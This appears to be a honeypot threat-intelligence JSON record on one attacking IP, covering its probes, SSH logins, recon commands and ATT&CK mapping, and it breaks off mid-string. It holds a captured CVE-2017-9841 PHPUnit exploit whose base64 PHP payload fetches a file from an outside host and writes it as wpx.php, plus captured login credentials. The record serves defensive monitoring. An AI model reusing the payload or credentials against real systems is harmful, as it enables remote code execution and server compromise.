{"ip":"37.60.226.187","data_as_of":"2026-10-26T20:46:24+00:00","observed":true,"total_events":34,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 exploit-path hits","confidence":"high","network_type":"CDN","why":["1 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Sent 39,596 bytes, which is sustained payload delivery.","Held a session open for 2169s, against a median of well under a second.","Counts include 134 interactive session(s) as well as first-packet events.","Interactive sessions: 14 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"39,596 bytes sent, longest session 2169s","bytes_sent":39596,"session_seconds":2169,"persistent":true},"basis":"combined"},"first_seen":"2026-10-14T06:52:02","last_seen":"2026-10-22T00:45:09","events_24h":0,"events_7d":16,"interactive_sessions":134,"interactive_sessions_24h":0,"interactive_sessions_7d":90,"interactive_protocols":[{"protocol":"http","sessions":92},{"protocol":"smtp","sessions":14},{"protocol":"ssh","sessions":14},{"protocol":"tls","sessions":4}],"geo":{"country_code":"FR","country_name":"France","region":"Grand Est","city":"Lauterbourg","lat":48.9742,"lon":8.1851,"asn":51167,"org":"Contabo GmbH"},"source_domain":"vmi3551009.contaboserver.net","known_scanners":[],"scanner_tag":{"key":"contabo","label":"Contabo","category":"hosting_provider","url":"https://contabo.com/"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","confirmed_by":"interactive_session","sessions":14,"kev_date_added":"2022-02-15"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":134,"first_seen":"2026-10-14T16:30:31","last_seen":"2026-10-22T00:45:09","verdicts":[{"verdict":"scan","sessions":44},{"verdict":"exploit-attempt","sessions":42},{"verdict":"unknown","sessions":34},{"verdict":"post-exploitation","sessions":14}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, discovery@igd 1.0, fortigate@7.2.1","sessions":32},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, gitlab@19.4.2","sessions":18},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":12},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":12},{"persona":"smtp@3.4.13","sessions":10},{"persona":"linux-ubuntu@20.04","sessions":10},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":8},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1","sessions":6},{"persona":"smtp@3.8.6","sessions":4},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5","sessions":4},{"persona":"linux-ubuntu@24.04","sessions":4}],"services":[{"protocol":"http","port":443,"sessions":64},{"protocol":"http","port":80,"sessions":28},{"protocol":"smtp","port":587,"sessions":14},{"protocol":"ssh","port":22,"sessions":14},{"protocol":"tcp","port":2083,"sessions":10},{"protocol":"tls","port":2083,"sessions":4}],"logins":[{"username":"shopfront","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":10,"last_seen":"2026-10-22T00:31:10"},{"username":"portal","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":4,"last_seen":"2026-10-22T00:22:26"}],"commands":[{"ts":"2026-10-22T00:31:11","session_id":"e9b406ff-80e7-4904-8a6a-b79afb5672a6","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:30:57","session_id":"a710b5b6-343f-47cb-bd18-7aae54fde393","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:22:27","session_id":"62b7cf40-c105-47a0-8126-73c70d0b1ad7","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:20:32","session_id":"e7117d6b-e6b5-42cc-9a73-a641173ddd31","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:16:24","session_id":"41da2a64-6358-43ff-bda0-8dea644ade1e","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:16:23","session_id":"21f04da0-f2f4-44f8-8a40-a9c205ce73dd","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:16:21","session_id":"05ab01ab-606a-4f32-8cc3-26989c9b977f","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:08:46","session_id":"dcea7495-fad0-4842-b4f0-1958aa63ec07","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:08:45","session_id":"2f5d80d9-84f0-4e62-9f82-ad1c38aa440c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:08:42","session_id":"4a6ccd8e-8e6c-42e2-a7e1-8493a51e90aa","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T02:30:13","session_id":"11e566f8-19bc-4ca3-87a6-ecd9a21694d8","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T02:30:13","session_id":"9506c5b7-7d80-461c-9175-6eaf028990f2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T02:30:13","session_id":"087ca3a6-ff79-4817-929f-2394a21ee577","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T02:30:12","session_id":"5e3b64bf-cc22-49d0-bea1-20c824f3e518","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0}],"downloads":[],"files":[{"sha256":"4c4631bed086d063081c155ae7fd5b429a9cd45c2a224a7a5b1a727a71964d63","name":"phpunit-eval-stdin","size":706,"mime_type":"text/x-php","kind":"payload","times":14,"first_seen":"2026-10-15T02:30:06","last_seen":"2026-10-22T00:31:09","virustotal":{"sha256":"4c4631bed086d063081c155ae7fd5b429a9cd45c2a224a7a5b1a727a71964d63","status":"known","malicious":5,"total":78,"name":"3CA33F26_174e551e40cc81a506a24f4b701df49a"}}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":44},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":42},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":14},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":14},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":14}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":33,"sessions":64},{"port":80,"proto":"tcp","label":"HTTP","count":1,"sessions":28},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":14},{"port":587,"proto":"tcp","label":"SMTP","count":0,"sessions":14},{"port":2083,"proto":"tcp","label":"TLS","count":0,"sessions":14}],"fingerprints":{"ssh_hassh":["4c94058d5e9e31659879f79fd5b46084","6372ee6957562199b2fb773b0be1bf34"],"tls_ja4":["t13i190800_9dc949149365_97f8aa674fd9","t13i1811h1_85036bcba153_b26ce05bbdd6","t13i4311h1_c7886603b240_b26ce05bbdd6"],"tls_client_hello":"16030100ea010000e60303164002b6a63265082b02cf6ed3a885fc2ab88a9d0fd8961a6adb19a3447bb95020eee1e76c4013635d3a43e0f6e2e4fc10a57b94c823cf7c27d114e9a90f3305b40026c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035c012000a13011302130301000077000500050100000000000a000a0008001d001700180019000b00020100000d001a0018080404030807080508060401050106010503060302010203ff0100010000120000002b00050403040303003300260024001d002061513294fc9d84984e40c7a66a10c0311174750047a3ed4256abfe505ce08419","tls_ja3":["19e29534fd49dd27d09234e639c4057e","b885946e72ad51dca6c70abc2f773506","f80d3d09f61892c5846c854dd84ac403"],"http_akin":["b11cun050_00060013_3ef9a8f6"],"interactive":{"ssh_hassh":["4c94058d5e9e31659879f79fd5b46084","6372ee6957562199b2fb773b0be1bf34"],"tls_ja4":["t13i1811h1_85036bcba153_b26ce05bbdd6","t13i190800_9dc949149365_97f8aa674fd9","t13i4311h1_c7886603b240_b26ce05bbdd6"],"tls_ja3":["19e29534fd49dd27d09234e639c4057e","b885946e72ad51dca6c70abc2f773506","f80d3d09f61892c5846c854dd84ac403"]}},"fingerprint_peers":{"t13i190800_9dc949149365_97f8aa674fd9":3314,"t13i1811h1_85036bcba153_b26ce05bbdd6":67,"t13i4311h1_c7886603b240_b26ce05bbdd6":23,"6372ee6957562199b2fb773b0be1bf34":5,"b11cun050_00060013_3ef9a8f6":159,"4c94058d5e9e31659879f79fd5b46084":0},"akin_families":{},"user_agents":["Mozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0","Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0","Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52","Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25","Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.4(0x17000428) NetType/WIFI Language/zh_CN","Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a","Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5","Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 Mobile Safari/537.36","Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","python-requests/2.25.1","Mozilla/5.0 (Linux; webOS/2.2.4; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) webOSBrowser/221.56 Safari/534.6 Pre/3.0","Mozilla/5.0 (Linux; Android 7.0; KIICAA POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36","Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41","Mozilla/5.0 (Linux; Android 9; Mi A2 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36","Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/76.0.3809.81 Mobile/15E148 Safari/605.1"],"timeline":[{"date":"2026-10-14","count":18,"sessions":8},{"date":"2026-10-15","count":0,"sessions":36},{"date":"2026-10-20","count":8,"sessions":3},{"date":"2026-10-21","count":8,"sessions":7},{"date":"2026-10-22","count":0,"sessions":80}],"recent_events":[{"timestamp":"2026-10-22T00:31:11","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo 'wakanda';uname -a;","payload_hex":"6563686f202777616b616e6461273b756e616d65202d613b","method":"","user_agent":"","ja3":"","session":"e9b406ff-80e7-4904-8a6a-b79afb5672a6-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"250c1334a144d4db","strings":["echo 'wakanda';uname -a;"]},"interactive":true},{"timestamp":"2026-10-22T00:31:09","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"QUIT\r\n","payload_hex":"515549540d0a","method":"","user_agent":"","ja3":"","session":"c937c1d6-e538-41df-b8a9-27d1274af57a-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"559ce5fcec51fbf7","strings":["QUIT"]},"interactive":true},{"timestamp":"2026-10-22T00:31:09","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ehlo vmi3551009\r\n","payload_hex":"65686c6f20766d69333535313030390d0a","method":"","user_agent":"","ja3":"","session":"c937c1d6-e538-41df-b8a9-27d1274af57a-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d5a1025ea74c580c","label":"SMTP","strings":["ehlo vmi3551009"]},"interactive":true},{"timestamp":"2026-10-22T00:31:09","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"706\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cDovL3RhbmdpYmxlLWRyaW5rLnN1cmdlLnNoL2NvbmZpZ3gudHh0Iiwid3B4LnBocCIpKSB7CgllY2hvICJVbmFtZSI7Cn0gZWxzZSB7CgllY2hvICJmYWlsZWQiOwp9Cj8+')); ?>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203730360d0a0d0a3c3f706870206576616c28273f3e272e6261736536345f6465636f64652827504439776148414b5a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743676b6b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f4a4a474e6f494430675933567962463970626d6c304b436b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b43574e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f4a593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b43584a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b43574e31636d7866593278766332556f4a474e6f4b54734b43575a6a6247397a5a53676b5a6e41704f776f4a62324a665a6d78316332676f4b54734b43575a7364584e6f4b436b37436e304b6157596f595752746157356c636967696148523063446f764c335268626d6470596d786c4c575279615735724c6e4e31636d646c4c6e4e6f4c324e76626d5a705a3367756448683049697769643342344c6e426f634349704b53423743676c6c5932687649434a56626d46745a534937436e30675a57787a5a53423743676c6c5932687649434a6d59576c735a5751694f777039436a382b2729293b203f3e","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"b885946e72ad51dca6c70abc2f773506","session":"5187739c-052e-42cf-9d65-c4d168df60bb-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T00:31:09","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/.env","summary":"","payload_hex":"474554202f2e656e7620485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"b885946e72ad51dca6c70abc2f773506","session":"794c5944-c4b5-433c-8a9b-656d8523ce36-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T00:31:05","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"15\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"rand%5EX=_tools","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2031350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a0d0a72616e64253545583d5f746f6f6c73","method":"POST","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"b885946e72ad51dca6c70abc2f773506","session":"b7410cd2-64dc-466e-a392-57b8db221439-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T00:30:57","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo 'wakanda';uname -a;","payload_hex":"6563686f202777616b616e6461273b756e616d65202d613b","method":"","user_agent":"","ja3":"","session":"a710b5b6-343f-47cb-bd18-7aae54fde393-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"250c1334a144d4db","strings":["echo 'wakanda';uname -a;"]},"interactive":true},{"timestamp":"2026-10-22T00:30:56","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"QUIT\r\n","payload_hex":"515549540d0a","method":"","user_agent":"","ja3":"","session":"952039bc-54d7-4381-81fb-6d91a1c2102d-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"559ce5fcec51fbf7","strings":["QUIT"]},"interactive":true},{"timestamp":"2026-10-22T00:30:56","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ehlo vmi3551009\r\n","payload_hex":"65686c6f20766d69333535313030390d0a","method":"","user_agent":"","ja3":"","session":"952039bc-54d7-4381-81fb-6d91a1c2102d-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d5a1025ea74c580c","label":"SMTP","strings":["ehlo vmi3551009"]},"interactive":true},{"timestamp":"2026-10-22T00:30:56","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"706\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cDovL3RhbmdpYmxlLWRyaW5rLnN1cmdlLnNoL2NvbmZpZ3gudHh0Iiwid3B4LnBocCIpKSB7CgllY2hvICJVbmFtZSI7Cn0gZWxzZSB7CgllY2hvICJmYWlsZWQiOwp9Cj8+')); ?>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203730360d0a0d0a3c3f706870206576616c28273f3e272e6261736536345f6465636f64652827504439776148414b5a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743676b6b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f4a4a474e6f494430675933567962463970626d6c304b436b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b43574e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f4a593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b43584a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b43574e31636d7866593278766332556f4a474e6f4b54734b43575a6a6247397a5a53676b5a6e41704f776f4a62324a665a6d78316332676f4b54734b43575a7364584e6f4b436b37436e304b6157596f595752746157356c636967696148523063446f764c335268626d6470596d786c4c575279615735724c6e4e31636d646c4c6e4e6f4c324e76626d5a705a3367756448683049697769643342344c6e426f634349704b53423743676c6c5932687649434a56626d46745a534937436e30675a57787a5a53423743676c6c5932687649434a6d59576c735a5751694f777039436a382b2729293b203f3e","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"b885946e72ad51dca6c70abc2f773506","session":"e8268956-223c-4f20-9570-b852acbaf98b-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true}],"http_methods":[{"method":"GET","count":88},{"method":"POST","count":18}],"distinct_ports_total":5,"top_paths":[{"path":"/.env","count":63,"ports":2},{"path":"/","count":18,"ports":2},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":14,"ports":1},{"path":"/.git/config","count":11,"ports":1}],"distinct_paths_total":4,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"15","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","notable":false}],"distinct_sets":3,"events_with_headers":4},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"confirmed_by":"interactive_session","sessions":14,"kev_date_added":"2022-02-15"},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging 